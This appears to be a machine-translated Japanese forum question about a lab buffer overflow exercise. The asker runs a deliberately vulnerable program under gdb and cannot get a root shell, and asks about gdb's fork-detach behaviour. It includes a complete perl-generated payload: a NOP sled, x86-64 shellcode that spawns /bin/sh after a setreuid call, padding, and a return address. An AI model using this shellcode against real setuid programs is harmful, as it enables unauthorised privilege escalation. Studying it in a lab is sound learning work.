ルート シェルを生成する基本的なバッファ オーバーフロー攻撃を試みています。「子プロセスからフォーク後にディスパッチする」という問題に直面しています* *
これを取り除き、ルートシェルを生成するにはどうすればよいですか?
gdb でルート シェルを通常のユーザーとして生成しようとしています (明らかに)。可能な限りあらゆる方法で脆弱なプログラムをコンパイルしました。それをコンパイルする保護者
これをgdbで実行すると、これが得られます->
もう 1 つ: バッファ サイズは 100 で、120 でセグメンテーション違反が発生します。
\x90 の 60 バイト + シェルコードのサイズ 50 + "A" のサイズ 10 (パディング) + 上書きされたアドレス (8) = (60+50+10=120; 120+上書きされたアドレス = 128)
[bhabi@localhost buffer]$ gdb -q bof
(gdb) r `perl -e 'print "\x90" x 60, "\x48\x31\xc0\x48\x83\xc0\x71\x48\x31\xff\x48\x31\xf6\x0f\x05\xeb\x13\x48\x31\xc0\x48\x83\xc0\x3b\x5f\x88\x67\x07\x48\x31\xf6\x48\x31\xd2\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x90", "A" x 10, "\x60\xe4\xff\xff\xff\x7f\x00\x00"'`
プログラムの開始:
/home/bhabi/buffer/bof `perl -e 'print "\x90" x 60, "\x48\x31\xc0\x48\x83\xc0\x71\x48\x31\xff\x48\x31\xf6\x0f\x05\xeb\x13\x48\x31\xc0\x48\x83\xc0\x3b\x5f\x88\x67\x07\x48\x31\xf6\x48\x31\xd2\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x90", "A" x 10, "\x60\xe4\xff\xff\xff\x7f\x00\x00"'
process 7*** is executing new program: /bin/bash
Missing separate debuginfos, use: debuginfo-install glibc-2.14.90-24.fc16.9.x86_64
Detaching after fork from child process 7***.
Detaching after fork from child process 7***.
Detaching after fork from child process 7**.
[bhabi@localhost buffer]$
[root@localhost buffer]$` を期待しています
私も試してみました
set follow-fork-mode child
set detach-on-fork off